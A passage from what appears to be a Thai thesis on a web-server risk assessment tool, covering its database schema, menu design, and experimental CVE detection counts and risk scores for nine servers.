Cveimpacti Number ระดับผลกระทบตอการบูรณภาพ 

Cveimpacta Number ระดับผลกระทบตอการสภาพพรอมใชงาน 

Cvehelpdesk Text (255) คําแนะนําการแกไข 

 

ตารางที่ 4.2 พจนานกุรมขอมูลของตารางรายการรองขอขอมูล 
ชื่อตาราง : รายการรองขอขอมูล 

คําอธิบาย : เก็บรายการรองขอขอมูลที่ใชในการตรวจสอบ 

ชื่อสดมภ ชนิด คําอธิบาย 

Httpreqid Text (10) ลําดับที่รายการรองขอขอมูล 

Usemethod Text (50) เมธอดที่ใชในการรองขอขอมูล 

Httpreq Text (255) รายละเอียดการรองขอขอมูล 

Cveid Text (15) จุดบกพรองที่ใชอางอิงรายการรองขอขอมูล 

 

ตารางที่ 4.3 พจนานกุรมขอมูลของตารางผลกระทบ 
ชื่อตาราง : ผลกระทบ 

คําอธิบาย : จัดเก็บระดับผลกระทบของจุดบกพรองที่มีตอระบบ 

ชื่อสดมภ ชนิด คําอธิบาย 

Impacted Number ลําดับที่ระดับผลกระทบ 

Impactweight Number คาถวงน้ําหนักของระดับผลกระทบ 

Impactdescription Text (200) รายละเอียดระดับผลกระทบ 
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ตารางที่ 4.4 พจนานกุรมขอมูลของตารางกลุมโฮสต 
ชื่อตาราง : กลุมโฮสต 

คําอธิบาย : เก็บรายการกลุมโฮสต 

ชื่อสดมภ ชนิด คําอธิบาย 

Groupid Text (10) ลําดับที่รายการกลุมโฮสต 

Groupname Text (50) ชื่อกลุมโฮสต 

Groupdescription Text (255) รายละเอียดกลุมโฮสต 

 

ตารางที่ 4.5 พจนานกุรมขอมูลของตารางโฮสต 
ชื่อตาราง : โฮสต 

คําอธิบาย : เก็บรายการโฮสตที่ใชเก็บขอมูลคาความนาจะเปน 

ชื่อสดมภ ชนิด คําอธิบาย 

Hostid Text (10) ลําดับที่โฮสต 

Hostname Text (50) ชื่อโฮสตหรือหมายเลขไอพี 

Hostport Text (4) หมายเลขพอรตที่ใชในการรองขอขอมูล 

Hostgroup Text (10) กลุมโฮสต 

 

ตารางที่ 4.6 พจนานกุรมขอมูลของตารางแฮช 
ชื่อตาราง : แฮช 

คําอธิบาย : เก็บรายละเอียดการรองขอขอมูลเพื่อใชในการคนหาตารางในการคํานวณคาความนาจะเปน 

ชื่อสดมภ ชนิด คําอธิบาย 

Hostid Text (10) ลําดับที่โฮสต 

Groupid Text (10) ลําดับที่กลุมโฮสต 

Day Date / Time วันเวลาที่เก็บขอมูล 

Tablelink Text (50) ชื่อตารางที่จัดเก็บขอมูล 

 

ตารางที่ 4.7 พจนานกุรมขอมูลของตารางแฮชของคาความนาจะเปน 
ชื่อตาราง : แฮชของคาความนาจะเปน 

คําอธิบาย : เก็บรายละเอียดการคํานวณคาความนาจะเปนของโฮสตทั้งหมด 

ชื่อสดมภ ชนิด คําอธิบาย 

Daystart Number วันที่เริ่มตนของการคํานวณ 

Monthstart Number เดือนที่เริ่มตนของการคํานวณ 

Yearstart Number ปที่เริ่มตนของการคํานวณ 

Hourstart Number เวลา (ชั่วโมง) ที่เริ่มตนของการคํานวณ 
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ตารางที่ 4.7 พจนานกุรมขอมูลของตารางแฮชของคาความนาจะเปน (ตอ) 
ชื่อสดมภ ชนิด คําอธิบาย 

Minstart Number เวลา (นาที) ที่เริ่มตนของการคํานวณ 

Dayend Number วันที่ส้ินสุดของการคํานวณ 

Monthend Number เดือนที่ส้ินสุดของการคํานวณ 

Yearend Number ปที่ส้ินสุดของการคํานวณ 

Hourend Number เวลา (ชั่วโมง) ที่ส้ินสุดของการคํานวณ 

Minend Number เวลา (นาที) ที่ส้ินสุดของการคํานวณ 

Daystatus Number วันที่คํานวณ 

Monthstatus Number เดือนที่คํานวณ 

Yearstatus Number ปที่คํานวณ 

Hourstatus Number เวลา (ชั่วโมง) ที่คํานวณ 

Minstatus Number เวลา (นาที) ที่คํานวณ 

Tablelink Text (50) ชื่อตารางที่เก็บคาความนาจะเปน 

Hostnumber Number จํานวนโฮสตที่ใชในการคํานวณ 

Riskc Number คาความเสี่ยงตอการรักษาความลับ 

Riski Number คาความเสี่ยงตอการบูรณภาพ 

Riska Number คาความเสี่ยงตอสภาพพรอมใชงาน 

 

ตารางที่ 4.8 พจนานกุรมขอมูลของตารางแฮชของกลุมของคาความนาจะเปน 
ชื่อตาราง : แฮชของกลุมของคาความนาจะเปน 

คําอธิบาย : เก็บรายละเอียดการคํานวณคาความนาจะเปนของโฮสตแยกตามกลุมโฮสต 

ชื่อสดมภ ชนิด คําอธิบาย 

Daystart Number วันที่เริ่มตนของการคํานวณ 

Monthstart Number เดือนที่เริ่มตนของการคํานวณ 

Yearstart Number ปที่เริ่มตนของการคํานวณ 

Hourstart Number เวลา (ชั่วโมง) ที่เริ่มตนของการคํานวณ 

Minstart Number เวลา (นาที) ที่เริ่มตนของการคํานวณ 

Dayend Number วันที่ส้ินสุดของการคํานวณ 

Monthend Number เดือนที่ส้ินสุดของการคํานวณ 

Yearend Number ปที่ส้ินสุดของการคํานวณ 

Hourend Number เวลา (ชั่วโมง) ที่ส้ินสุดของการคํานวณ 

Minend Number เวลา (นาที) ที่ส้ินสุดของการคํานวณ 



                                    
                             

 

55 

ตารางที่ 4.8 พจนานกุรมขอมูลของตารางแฮชของกลุมของคาความนาจะเปน (ตอ) 
ชื่อสดมภ ชนิด คําอธิบาย 

Daystatus Number วันที่คํานวณ 

Monthstatus Number เดือนที่คํานวณ 

Yearstatus Number ปที่คํานวณ 

Hourstatus Number เวลา (ชั่วโมง) ที่คํานวณ 

Minstatus Number เวลา (นาที) ที่คํานวณ 

Tablelink Text (50) ชื่อตารางที่เก็บคาความนาจะเปน 

Hostnumber Number จํานวนโฮสตที่ใชในการคํานวณ 

Groupid Text (10) กลุมของโฮสตที่คํานวณ 

Riskc Number คาความเสี่ยงตอการรักษาความลับ 

Riski Number คาความเสี่ยงตอการบูรณภาพ 

Riska Number คาความเสี่ยงตอสภาพพรอมใชงาน 

 

4.3.5 การออกแบบสวนตอประสานกับผูใชงาน  

การออกแบบสวนตอประสานกับผูใชงาน คือการออกแบบลักษณะการโตตอบ

ระหวางผูใชงานซึ่งประกอบดวยโครงสรางหนาจอ และโครงสรางเมนูของระบบ มีรายละเอียดดังนี้ 

4.3.5.1 การออกแบบโครงสรางหนาจอการทํางานของโปรแกรมประเมิน

ความเสี่ยงของเว็บเซิรฟเวอร ประกอบดวยสวนตางๆ ดังรูปที่ 4.14 มีรายละเอียดดังนี้ 

1. สวนเมนูของระบบ เปนบริเวณที่แสดงเมนูเพื่อเขาสูหนาจอตางๆ 

ซึ่งรายละเอียดของเมนู แสดงในการออกแบบโครงสรางเมนูของ

ระบบดังรูปที่ 4.14 สวนหมายเลข 1 

2. สวนขอมูลและสถานะการทํางาน เปนบริเวณที่แสดงขอมูลของ

หนาจอตางๆ ดังรูปที่ 4.14 สวนหมายเลข 2 

3. สวนปุมคําสั่งการทํางาน เปนบริเวณที่จัดวางปุมคําสั่งการ

ทํางานในแตละหนาจอ ดังรูปที่ 4.14 สวนหมายเลข 3 
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รูปที่ 4.14 โครงสรางสวนประกอบของหนาจอ 

 

4.3.5.2 การออกแบบโครงสรางเมนูของโปรแกรม 

 ผูวิจัยไดออกแบบโครงสรางเมนูของโปรแกรมประเมินความเสี่ยงของเว็บ

เซิรฟเวอรเพื่อความสะดวกในการใชงาน ทั้งนี้โครงสรางของเมนูดังแสดงในรูปที่ 4.15 สามารถ

อธิบายไดดังนี้ เมื่อเร่ิมการใชงานโปรแกรมจะเขาสูหนาจอตรวจสอบผูใชงาน จากนั้นจะเขาสู

หนาจอหลักของโปรแกรมไดแกหนาจอประเมินความเสี่ยงซึ่งประกอบดวยเมนูยอยไดแก 

แฟมขอมูล เก็บขอมูล และชวยเหลือ โดยเมนูแฟมขอมูลประกอบดวยเมนูจัดการขอมูลผูใชงาน

ระบบที่ใหผูใชงานเปลี่ยนรหัสผาน เมนูจัดการจุดบกพรองที่ประกอบดวย แสดงรายการ

จุดบกพรองและจัดการขอมูลรายการจุดบกพรอง เมนูจัดการผลกระทบประกอบดวยแสดงระดับ

ผลกระทบ และจัดการขอมูลระดับผลกระทบ เมนูรายการตรวจสอบประกอบดวยแสดงรายการ

ตรวจสอบ และจัดการรายการตรวจสอบ  และเมนูออกจากโปรแกรม สวนเมนูเก็บขอมูล

ประกอบดวย จัดการกลุมโฮสตที่ประกอบดวยแสดงกลุมโฮสต และจัดการกลุมโฮสต เมนูจัดการ

โฮสตที่ใชเก็บคาความนาจะเปน ประกอบดวยแสดงกลุมโฮสตที่ใชเก็บคาความนาจะเปนและ

1 

2 

3 
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จัดการขอมูลโฮสตที่ใชเก็บคาความนาจะเปน เมนูเก็บคาความนาจะเปนและคํานวณคาความ

นาจะเปน สุดทายไดแกเมนูชวยเหลือที่ชวยแนะนําการทํางานใหแกผูใชงาน 

 

 

หนาจอตรวจสอบผูใชงาน

หนาจอหลักของการ
ประเมินความเสี่ยง

แฟมขอมูล

จัดการขอมูลผู
ใชงานระบบ

จัดการจุดบกพรอง

จัดการระดับ
ผลกระทบ

รายการตรวจสอบ

เปลี่ยนรหัสผาน

จัดการขอมูล
รายการจุดบกพรอง

แสดงรายการ
จุดบกพรอง

จัดการขอมูล
ระดับผลกระทบ

แสดงระดับ
ผลกระทบ

จัดการขอมูล
รายการตรวจสอบ

แสดงรายการ
ตรวจสอบ

ออกจากโปรแกรม

เก็บขอมูล

จัดการกลุมโฮสต

จัดการโฮสตท่ีใชเก็บ
คาความนาจะเปน

จัดการขอมูล
กลุมของโฮสต

แสดงกลุมของโฮสต

จัดการขอมูลโฮสตท่ีใช
เก็บคาความนาจะเปน

แสดงโฮสตที่ใชเก็บ
คาความนาจะเปน

เก็บคาความนาจะเปน

คํานวณคาความนาจะ
เปนและคาความเสี่ยง

ชวยเหลือ

 
 

 

รูปที่ 4.15 โครงสรางเมนูของโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอร 
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5.1 วัตถุประสงคในการทาํการทดลอง 

ในการทําการทดลองมีวัตถุประสงคเพื่อนําขอมูลที่ไดมาใชสนับสนุนการทําวิจัยดังนี้ 

5.1.1 เพื่อทดสอบสถาปตยกรรมของการประเมินความเสี่ยง 

5.1.2 ประเมินความเสี่ยงของเว็บเซิรฟเวอรทั่วไปโดยใชขอมูลจากเว็บเซิรฟเวอร

ภายในหนวยงานแหงหนึ่งจํานวน 6 หนวยตัวอยางและเว็บเซิรฟเวอรที่ผูวิจัยไดติดต้ังขึ้นจํานวน 3 

หนวยตัวอยาง 

5.1.3 ประเมินความเสี่ยงของเว็บเซิรฟเวอรภายใตโดเมนในประเทศไทย ทั้งนี้ใน

ขอบเขตการวิจัยที่ไดกําหนดไวเปนเพียงการทดสอบประเมินความเสี่ยงเฉพาะเว็บเซิรฟเวอรของ

หนวยงานแหงหนึ่งเทานั้น แตผูวิจัยเห็นวาการทดสอบกับเว็บเซิรฟเวอรภายใตโดเมนในประเทศ

ไทยครอบคลุมจํานวนเว็บเซิรฟเวอรที่สามารถใหผลการทดลองที่เปนประโยชนมากขึ้น 

 

5.2 การทดสอบสถาปตยกรรมของการประเมินความเสีย่ง 

ผูวิจัยไดทดสอบสถาปตกรรมของการประเมินความเสี่ยง โดยเปรียบเทียบผลการ

ประเมินความเสี่ยงของเครื่องมือที่พัฒนากับโปรแกรมที่ใชในการตรวจสอบจุดบกพรองของเว็บ

เซิรฟเวอรที่ใชงานกันในปจจุบัน โดยทั้งนี้ผูวิจัยไดทําการเปรียบเทียบผลการตรวจสอบจุดบกพรอง

ของเว็บเซิรฟเวอรจํานวน 9 หนวยตัวอยาง ไดผลการตรวจสอบดังตารางที่ 5.1 

 

ตารางที่ 5.1 ผลการเปรียบเทียบการตรวจสอบจุดบกพรอง 

เครื่องที่ทําการตรวจสอบ ผลการตรวจสอบของ
โปรแกรมที่ผูวิจัยพัฒนา 

ผลการตรวจสอบของ
โปรแกรมทัว่ไป 

เว็บเซิรฟเวอรที่ 1  ซีวีอี 2000 – 0770 

ซีวีอี 2000 – 0884 

ซีวีอี 2000 – 0886 

ซีวีอี 2001 – 0330 

ไมพบจุดบกพรอง 

เว็บเซิรฟเวอรที่ 2 ซีวีอี 1999 – 0021 ซีวีอี 1999 – 0021 
เว็บเซิรฟเวอรที่ 3 ไมพบจุดบกพรอง ไมพบจุดบกพรอง 
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ตารางที่ 5.1 ผลการเปรียบเทียบการตรวจสอบจุดบกพรอง (ตอ) 

เครื่องที่ทําการตรวจสอบ ผลการตรวจสอบของ
โปรแกรมที่ผูวิจัยพัฒนา 

ผลการตรวจสอบของ
โปรแกรมทัว่ไป 

เว็บเซิรฟเวอรที่ 4 ซีวีอี 2000 – 0226 

ซีวีอี 2000 – 0770 

ซีวีอี 2000 – 0778 

ซีวีอี 2000 – 0884 

ซีวีอี 2000 – 0886 
ซีวีอี 2001 – 0333 
ซีวีอี 2001 – 0500 

ซีวีอี 2001 – 0500 

เว็บเซิรฟเวอรที่ 5 ไมพบจุดบกพรอง ไมพบจุดบกพรอง 
เว็บเซิรฟเวอรที่ 6 ไมพบจุดบกพรอง ไมพบจุดบกพรอง 

เว็บเซิรฟเวอรที่ 7 ซีวีอี 2000 – 0770 

ซีวีอี 2000 – 0884 

ซีวีอี 2000 – 0886 

ไมพบจุดบกพรอง 

เว็บเซิรฟเวอรที่ 8 ไมพบจุดบกพรอง ไมพบจุดบกพรอง 
เว็บเซิรฟเวอรที่ 9 ซีวีอี 1999 – 0874 

ซีวีอี 2000 – 0226 

ซีวีอี 2000 – 0770 
ซีวีอี 2000 – 0884 
ซีวีอี 2000 – 0886 
ซีวีอี 2001 – 0333 
ซีวีอี 2001 – 0500 

ซีวีอี 2001 – 0507 

ซีวีอี 2002 – 0061 

ซีวีอี 2000 – 0884 
ซีวีอี 2000 – 0886 
ซีวีอี 2001 – 0333 

 

 

จากผลการเปรียบเทียบการประเมินความเสี่ยงของเว็บเซิรฟเวอรทั้ง 9 หนวยมี

ขอสังเกตคือผลการตรวจสอบจุดบกพรองของโปรแกรมที่ผูวิจัยพัฒนาขึ้น กับโปรแกรมที่ใชในการ

ตรวจสอบจุดบกพรองของเว็บเซิรฟเวอรที่ใชงานกันในปจจุบันนั้นมีความสอดคลองกัน ดังนั้นจึง

สามารถกลาวไดวา สถาปตยกรรมที่ใชในการประเมินความเสี่ยงของเว็บเซิรฟเวอรที่ผูวิจัยนําเสนอ
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ในบทที่ 3 ซึ่งประกอบดวยจุดบกพรอง คาระดับผลกระทบ และคาความนาจะเปนในการตรวจพบ

จุดบกพรองนั้นสามารถใชในการประเมินความเสี่ยงของเว็บเซิรฟเวอรไดอยางถูกตอง 

 

5.3 การทดลองเพื่อประเมินความเสี่ยงของเวบ็เซิรฟเวอรในหนวยงานแหงหนึ่ง 

5.3.1 การออกแบบการทดลองเพื่อประเมินความเสี่ยงของเว็บเซิรฟเวอรในหนวยงาน
แหงหนึ่ง 

การทดลองประเมินความเสี่ยงของเว็บเซิรฟเวอรภายในหนวยงานแหงหนึ่งนั้น 

ผูวิจัยไดกําหนดเว็บเซิรฟเวอรภายในหนวยงานจํานวน 6 หนวยตัวอยางและเว็บเซิรฟเวอรที่ผูวิจัย

ทําการติดตั้งขึ้นจํานวน 3 หนวยตัวอยาง รวมทั้งสิ้น 9 หนวยตัวอยาง เพื่อใชเปนขอมูลในการ

ประเมินความเสี่ยงของเว็บเซิรฟเวอรทั่วไปจํานวน 2 หนวยตัวอยาง ทั้งนี้คุณสมบัติของเครื่อง

คอมพิวเตอรที่ผูวิจัยใชในการติดตั้งเว็บเซิรฟเวอรไดแกเครื่องคอมพิวเตอรที่มีหนวยประมวลผล

กลางเพนเทียมทรี ความเร็ว 650 เมกะเฮิรตซ หนวยความจํา 512 เมกะไบต โดยมีรายละเอียดการ

ติดตั้งแสดงในตารางที่ 5.2 

 

ตารางที่ 5.2 แสดงรายละเอยีดของเว็บเซิรฟเวอรทีท่าํการติดตั้ง 

รายละเอียด เว็บเซิรฟเวอรที่ 1 เว็บเซิรฟเวอรที่ 2 เว็บเซิรฟเวอรที่ 3 

ระบบปฏิบัติการ วินโดวส เอ็กซพ ี ลีนุกซ เรด แฮด รุน 9 วินโดวส 2000 

ประเภทเว็บเซริฟเวอร อาปาเช รุน 1.3.27 อาปาเช รุน 2.0.40 ไอไอเอส รุน 5 

 

5.3.2 ทําการทดลองประเมินความเสี่ยงของเว็บเซิรฟเวอรในหนวยงานแหงหนึ่ง 

ในการทําการทดลองผูวิจัยไดทําการจัดเก็บขอมูลของเว็บเซิรฟเวอรภายใน

หนวยงานแหงหนึ่งโดยกระทําการภายนอกองคกรนั้น ซึ่งคุณสมบัติของเครื่องคอมพิวเตอรที่ใชใน

การดําเนินงานคือ เครื่องคอมพิวเตอรที่มีหนวยประมวลผลกลางเพนเทียมโฟร ความเร็ว 1.8 กิกะ

เฮิรตซ หนวยความจําขนาด 512 เมกะไบต ติดตั้งระบบปฏิบัติการวินโดวส เอ็กซพี และเชื่อมตอ

กับอินเทอรเน็ตความเร็ว 512/256 กิโลไบต โดยเวลาที่ใชในการทดลองคือชวงเวลา 19:00 นาฬิกา 

ถึง 21:00 นาฬิกา 
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5.3.3 ผลการประเมินความเสี่ยงของเว็บเซิรฟเวอรในหนวยงานแหงหนึ่ง 

การเก็บขอมูลจากเว็บเซิรฟเวอรหนวยตัวอยางภายในหนวยงานแหงหนึ่งจํานวน 

6 หนวยตัวอยาง และจากหนวยตัวอยางที่ทําการติดตั้งขึ้นเองจํานวน 3 หนวยตัวอยาง สามารถ

คํานวณคาความนาจะเปน ไดดังตารางที่ 5.3 (ผลการตรวจสอบจุดบกพรอง แสดงในภาคผนวก จ) 

 

ตารางที่ 5.3 คาความนาจะเปนของหนวยตัวอยางทัง้ 9 หนวย 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.1111 1 

ซีวีอี 1999-0066 0 0 

ซีวีอี 1999-0067 0 0 

ซีวีอี 1999-0070 0 0 

ซีวีอี 1999-0146 0 0 

ซีวีอี 1999-0172 0 0 

ซีวีอี 1999-0174 0 0 

ซีวีอี 1999-0191 0 0 

ซีวีอี 1999-0237 0 0 

ซีวีอี 1999-0260 0 0 

ซีวีอี 1999-0262 0 0 

ซีวีอี 1999-0264 0 0 

ซีวีอี 1999-0266 0 0 

ซีวีอี 1999-0278 0 0 

ซีวีอี 1999-0874 0.1111 1 

ซีวีอี 2000-0010 0 0 

ซีวีอี 2000-0208 0 0 

ซีวีอี 2000-0226 0.2222 2 

ซีวีอี 2000-0287 0 0 

ซีวีอี 2000-0770 0.4444 4 

ซีวีอี 2000-0778 0.1111 1 
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ตารางที่ 5.3 คาความนาจะเปนของหนวยตัวอยางทัง้ 9 หนวย (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนที่ตรวจสอบพบ 

ซีวีอี 2000-0884 0.4444 4 

ซีวีอี 2000-0886 0.4444 4 

ซีวีอี 2000-0941 0 0 

ซีวีอี 2001-0151 0 0 

ซีวีอี 2001-0241 0 0 

ซีวีอี 2001-0333 0.3333 3 

ซีวีอี 2001-0500 0.2222 2 

ซีวีอี 2001-0507 0.1111 1 

ซีวีอี 2002-0061 0.1111 1 

ซีวีอี 2002-0082 0 0 

ซีวีอี 2002-0392 0 0 

ซีวีอี 2002-0513 0 0 

 

จากคาความนาจะเปนของเว็บเซิรฟเวอรหนวยตัวอยางภายในหนวยงานแหงหนึง่

จํานวน 6 หนวยตัวอยาง และจากหนวยตัวอยางที่ทําการติดตั้งขึ้นเอง 3 หนวยตัวอยาง ดังแสดง

ในตารางที่ 5.2 สามารถสรุปไดวาเว็บเซิรฟเวอรทั้ง 9 หนวยตัวอยางนั้นมีจุดบกพรองเพียงเล็กนอย

เมื่อเปรียบเทียบจํานวนจุดบกพรองที่ตรวจสอบพบกับจํานวนเว็บเซิรฟเวอรหนวยตัวอยาง ซึ่ง

จุดบกพรองที่ตรวจสอบพบมากที่สุดนั้นไดแก ซีวีอี 2000-0770 ซีวีอี 2000-0884 และ ซีวีอี 2000-

0886 รองลงมาคือ ซีวีอี 2001-0333    ซีวีอี 2000-0226 และ ซีวีอี 2001-0500 ดังรูปที่ 5.2 
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ซีวีอี 1999-0021
ซีวีอี 1999-0066
ซีวีอี 1999-0067
ซีวีอี 1999-0070
ซีวีอี 1999-0146
ซีวีอี 1999-0172
ซีวีอี 1999-0174
ซีวีอี 1999-0191
ซีวีอี 1999-0237
ซีวีอี 1999-0260
ซีวีอี 1999-0262
ซีวีอี 1999-0264
ซีวีอี 1999-0266
ซีวีอี 1999-0278
ซีวีอี 1999-0874
ซีวีอี 2000-0010
ซีวีอี 2000-0208
ซีวีอี 2000-0226
ซีวีอี 2000-0287
ซีวีอี 2000-0770
ซีวีอี 2000-0778
ซีวีอี 2000-0884
ซีวีอี 2000-0886
ซีวีอี 2000-0941
ซีวีอี 2001-0151
ซีวีอี 2001-0241
ซีวีอี 2001-0333
ซีวีอี 2001-0500
ซีวีอี 2001-0507
ซีวีอี 2002-0061
ซีวีอี 2002-0082
ซีวีอี 2002-0392
ซีวีอี 2002-0513

(ระดับความเสี่ยง)

จุดบกพรองซีวีอี

2 3 4 5
จํานวนเซิรฟเวอรท่ีตรวจพบ

1

 
 

รูปที่ 5.2 กราฟแสดงระดับความเสีย่งของจุดบกพรองของเว็บเซิรฟเวอรหนวยตัวอยาง 

คาความนาจะเปนที่คํานวณไดจากเว็บเซิรฟเวอรหนวยตัวอยางทั้ง 9 หนวย

ตัวอยางนั้น สามารถใชเปนคาความนาจะเปนในการตรวจพบจุดบกพรองเพื่อใชประเมินความ

เสี่ยงของเว็บเซิรฟเวอรของหนวยตัวอยางทั้ง 9 หนวยตัวอยาง ตลอดจนเว็บเซิรฟเวอรทั่วไปจํานวน 

2 หนวยตัวอยาง ซึ่งจากผลการประเมินความเสี่ยงของเว็บเซิรฟเวอรดังกลาวไดคาความเสี่ยงของ

แตละเว็บเซิรฟเวอรดังตารางที่ 5.4 และรูปที่ 5.3  
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ตารางที่ 5.4 คาความเสีย่งของเว็บเซิรฟเวอรภายในหนวยงานแหงหนึง่ 
 การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน คาความเสี่ยงรวม 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่ง 

หนวยที่ 1 
3.1108 3.1108 0.4444 6.6600 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่ง 

หนวยที่ 2 
0.1111 0.2222 0.3333 0.6666 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่ง 

หนวยที่ 3 
0 0 0 0 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่ง 

หนวยที่ 4 
5.4439 4.6662 2.2220 12.3321 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่ง 

หนวยที่ 5 
0 0 0 0 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่ง 

หนวยที่ 6 
0 0 0 0 

หนวยตัวอยางทีต่ิดตั้งขึ้นเองหนวยที่ 1 3.3330 2.8886 0.6666 6.8882 

หนวยตัวอยางทีต่ิดตั้งขึ้นเองหนวยที่ 2 0 0 0 0 

หนวยตัวอยางทีต่ิดตั้งขึ้นเองหนวยที่ 3 5.3328 4.8884 2.9997 13.2209 

เว็บเซิรฟเวอรทั่วไปหนวยที ่1 0 0 0 0 

เว็บเซิรฟเวอรทั่วไปหนวยที ่2 0.1111 0.2222 0.3333 0.6666 

คาความเสี่ยงจากหนวยตัวอยางทั้ง 9 หนวย 1.9260 1.7530 0.7400 4.4190 
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รูปที่ 5.3 กราฟแสดงคาความเสี่ยงของเวบ็เซิรฟเวอรภายในหนวยงานแหงหนึง่ 
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จากตารางที่ 5.4 สามารถสรุปไดดังนี้ 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่งหนวยที่ 1 มีคาความเสี่ยงทางดานการรักษา

ความลับเทากับ 3.1108 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 3.1108 มีคาความเสี่ยง

ทางดานสภาพพรอมใชงานเทากับ 0.4444 และมีคาความเสี่ยงรวมเทากับ 6.6600 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่งหนวยที่ 2 มีคาความเสี่ยงทางดานการรักษา

ความลับเทากับ 0.1111 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0.2222 มีคาความเสี่ยง

ทางดานสภาพพรอมใชงานเทากับ 0.3333 และมีคาความเสี่ยงรวมเทากับ 0.6666 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่งหนวยที่ 3 มีคาความเสี่ยงทางดานการรักษา

ความลับเทากับ 0 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0 มีคาความเสี่ยงทางดานสภาพ

พรอมใชงานเทากับ 0 และมีคาความเสี่ยงรวมเทากับ 0 

เวบ็เซิรฟเวอรของหนวยงานแหงหนึ่งหนวยที่ 4 มีคาความเสี่ยงทางดานการรักษา

ความลับเทากับ 5.4439 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 4.6662 มีคาความเสี่ยง

ทางดานสภาพพรอมใชงานเทากับ 2.2220 และมีคาความเสี่ยงรวมเทากับ 12.3321 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่งหนวยที่ 5 มีคาความเสี่ยงทางดานการรักษา

ความลับเทากับ 0 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0 มีคาความเสี่ยงทางดานสภาพ

พรอมใชงานเทากับ 0 และมีคาความเสี่ยงรวมเทากับ 0 

เว็บเซิรฟเวอรของหนวยงานแหงหนึ่งหนวยที่ 6 มีคาความเสี่ยงทางดานการรักษา

ความลับเทากับ 0 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0 มีคาความเสี่ยงทางดานสภาพ

พรอมใชงานเทากับ 0 และมีคาความเสี่ยงรวมเทากับ 0 

เว็บเซิรฟเวอรท่ีผูวิจัยติดตั้งขึ้นโดยใชอาปาเชเว็บเซิรฟเวอร รุน 1.3.27 ทํางานบน

ระบบปฏิบัติการวินโดวส (เว็บเซิรฟเวอรที่ 1) มีคาความเสี่ยงทางดานการรักษาความลับเทากับ 

3.3330 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 2.8886 มีคาความเสี่ยงทางดานสภาพ

พรอมใชงานเทากับ 0.6666 และมีคาความเสี่ยงรวมเทากับ 6.8882 

เว็บเซิรฟเวอรที่ผูวิจัยติดตั้งขึ้นโดยใชอาปาเชเว็บเซิรฟเวอร รุน 2.0.40 ทํางานบน

ระบบปฏิบัติการเรด แฮด (เว็บเซิรฟเวอรที่ 2) มีคาความเสี่ยงทางดานการรักษาความลับเทากับ 0 
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มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0 มีคาความเสี่ยงทางดานสภาพพรอมใชงานเทากับ 

0 และมีคาความเสี่ยงรวมเทากับ 0 

เว็บเซิรฟเวอรที่ผูวิจัยติดตั้งขึ้นโดยใชไอไอเอสเว็บเซิรฟเวอร รุน 5 ทํางานบน

ระบบปฏิบัติการวินโดวส (เว็บเซิรฟเวอรที่ 3) มีคาความเสี่ยงทางดานการรักษาความลับเทากับ 

5.3328 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 4.8884 มีคาความเสี่ยงทางดานสภาพ

พรอมใชงานเทากับ 2.9997 และมีคาความเสี่ยงรวมเทากับ 13.2209 

เว็บเซิรฟเวอรทั่วไปหนวยที่ 1 มีคาความเสี่ยงทางดานการรักษาความลับเทากับ 

0 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0 มีคาความเสี่ยงทางดานสภาพพรอมใชงาน

เทากับ 0 และมีคาความเสี่ยงรวมเทากับ 0 

เว็บเซิรฟเวอรทั่วไปหนวยที่ 2 มีคาความเสี่ยงทางดานการรักษาความลับเทากับ 

0.1111 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0.2222 มีคาความเสี่ยงทางดานสภาพ

พรอมใชงานเทากับ 0.3333 และมีคาความเสี่ยงรวมเทากับ 0.6666 

และจากหนวยตัวอยางทั้ง 6 หนวยตัวอยาง และเว็บเซิรฟเวอรที่ผูวิจัยไดทําการ

ติดตั้งขึ้นเองนั้น มีคาความเสี่ยงทางดานการรักษาความลับโดยเฉลี่ยเทากับ 1.9260 มีคาความ

เส่ียงทางดานการบูรณภาพโดยเฉลี่ยเทากับ 1.7530 มีคาความเสี่ยงทางดานสภาพพรอมใชงาน

โดยเฉลี่ยเทากับ 0.7400 มีคาความเสี่ยงรวมโดยเฉลี่ยเทากับ 4.4190 

การเปรียบเทียบคาความเสี่ยงของแตละเว็บเซิรฟเวอรนั้นสามารถสรุปไดวาเว็บ

เซิรฟเวอรที่มีคาความเสี่ยงทางดานการรักษาความลับสูงที่สุดไดแกเว็บเซิรฟเวอรของหนวยงาน

แหงหนึ่งหนวยที่ 4 ซึ่งมีคาความเสี่ยงทางดานการรักษาความลับเทากับ 5.4439 เว็บเซิรฟเวอรที่มี

ความเสี่ยงทางดานการบูรณภาพสูงที่สุดไดแกเว็บเซิรฟเวอรที่ผูวิจัยติดตั้งขึ้นเองโดยใชไอไอเอส

เว็บเซิรฟเวอร รุน 5 ซึ่งมีคาความเสี่ยงทางดานการบูรณภาพเทากับ 4.8884 และเว็บเซิรฟเวอรที่มี

ความเสี่ยงทางดานสภาพพรอมใชงานสูงที่สุดไดแก เว็บเซิรฟเวอรที่ผูวิจัย ติดตั้งขึ้นเองโดยใช     

ไอไอเอสเว็บเซิรฟเวอร รุน 5 ซึ่งมีคาความเสี่ยงทางดานสภาพพรอมใชงานเทากับ 2.9997  
